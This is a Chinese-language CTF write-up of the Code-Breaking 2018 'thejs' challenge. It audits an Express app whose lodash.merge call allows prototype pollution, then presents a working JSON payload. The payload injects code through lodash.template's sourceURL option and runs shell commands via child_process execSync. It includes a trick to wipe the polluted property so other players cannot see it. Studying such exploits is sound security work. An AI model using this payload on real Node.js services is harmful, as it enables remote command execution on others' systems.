【安全】原型链污染 - Code-Breaking 2018 Thejs

目录

准备工作

环境搭建

加载项目

复现

代码审计

payload

总结


准备工作

环境搭建

Nodejs

BurpSuite

加载项目

项目链接

① 下载好了cmd切进去

② 安装这个项目

可以检查一下

③运行并监听

可以看到已经在3000端口启动了

复现

代码审计

javascript 复制代码
const fs = require('fs')
const express = require('express')
const bodyParser = require('body-parser')
const lodash = require('lodash')
const session = require('express-session')
const randomize = require('randomatic')
//以上都是引入各种模块

const app = express()
app.use(bodyParser.urlencoded({extended: true})).use(bodyParser.json())
app.use('/static', express.static('static'))
app.use(session({
    name: 'thejs.session',
    secret: randomize('aA0', 16),
    resave: false,
    saveUninitialized: false
}))
app.engine('ejs', function (filePath, options, callback) { // define the template engine
    fs.readFile(filePath, (err, content) => {
        if (err) return callback(new Error(err))
        let compiled = lodash.template(content)
        let rendered = compiled({...options})

        return callback(null, rendered)
    })
})
app.set('views', './views')
app.set('view engine', 'ejs')

app.all('/', (req, res) => {
    let data = req.session.data || {language: [], category: []}
    if (req.method == 'POST') {
        data = lodash.merge(data, req.body)
        req.session.data = data
    }
    
    res.render('index', {
        language: data.language, 
        category: data.category
    })
})

app.listen(3000, () => console.log(`Example app listening on port 3000!`))

看到了这一句,所以要先了解lodash模块是干什么的

javascript 复制代码
data = lodash.merge(data, req.body)

lodash是为了弥补JavaScript原生函数功能不足而提供的一个辅助功能集,其中包含字符串、数组、对象等操作。这个Web应用中,使用了lodash提供的两个工具:

  1. lodash.template 一个简单的模板引擎

  2. lodash.merge 函数或对象的合并

逻辑就是用户提交数据,通过lodash.merge将数据一直追加到session中

meige显然是可以利用的,然后我们要找一个可以利用的属性了

?为什么要利用sourceURL这个变量,因为需要注入的变量需要在程序后段被调用,也就是需要找到一个未定义且后面被调用的变量进行注入

重点关注一下,template的第二个参数是options,然后sourceURL这个属性默认为空,如果options中传sourceURL就会将值赋过去。这样sourceURL就是我们可以控制的了,

这里会把sourceURL拼接进了这个函数,那我们就可以构造child_process.exec()了

但是对代码的上下文都没有require,所以在执行的时候换成👇

复制代码
global.process.mainModule.constructor._load('child_process').execSync('whoami')

whoami就是任意命令执行的地方

payload

复制代码
{
	"__proto__" :
	{
		"sourceURL" :
"\u000areturn ()=>{for (var a in {}) {delete Object.prototype.a;} return global.process.mainModule.constructor._load('child_process').execSync('whoami')}//"
	}
}

{"__proto__" : {"sourceURL" : ""}}为主体
\u000a是url编码的换行,目的让return在开头

return ()=>{for (var a in {}) {delete Object.prototype.a;}
👆这句的作用自己复现的时候意义不大,目的是清空Object原型对象的属性
    防止被别的ctf选手抓包看到我们的payload

return global.process.mainModule.constructor._load('child_process').execSync('whoami')}//
这句才是关键,用了这个取代require('child_process').exec最后//注释掉原本的return以及后边的内容

注:{"proto" : ""}这里的__proto__在正常传递的时候可不会被当作属性,只有以json格式传递,这里不好用json.parse函数,那就直接在请求头里改Content-type就好

calc计算器执行成功

总结

感觉原型链污染相对来说难一点点,主要难点在代码审计上

相关推荐
开发者小天24 分钟前
为什么 /deep/ 现在不推荐使用?
前端·javascript·node.js
如白驹过隙1 小时前
cloudflare缓存配置
前端·缓存
excel1 小时前
JavaScript 异步编程全解析:Promise、Async/Await 与进阶技巧
前端
Jerry说前后端1 小时前
Android 组件封装实践:从解耦到架构演进
android·前端·架构
athink_cn2 小时前
HTTP/2新型漏洞“MadeYouReset“曝光:可发动大规模DoS攻击
网络·网络协议·安全·http·网络安全
zzc9212 小时前
TLSv1.2协议与TCP/UDP协议传输数据内容差异
网络·测试工具·安全·wireshark·ssl·密钥·tlsv1.2
步行cgn2 小时前
在 HTML 表单中,name 和 value 属性在 GET 和 POST 请求中的对应关系如下:
前端·hive·html
hrrrrb2 小时前
【Java Web 快速入门】十一、Spring Boot 原理
java·前端·spring boot
一枚小小程序员哈2 小时前
基于Vue的个人博客网站的设计与实现/基于node.js的博客系统的设计与实现#express框架、vscode
vue.js·node.js·express
找不到工作的菜鸟2 小时前
Three.js三大组件:场景(Scene)、相机(Camera)、渲染器(Renderer)
前端·javascript·html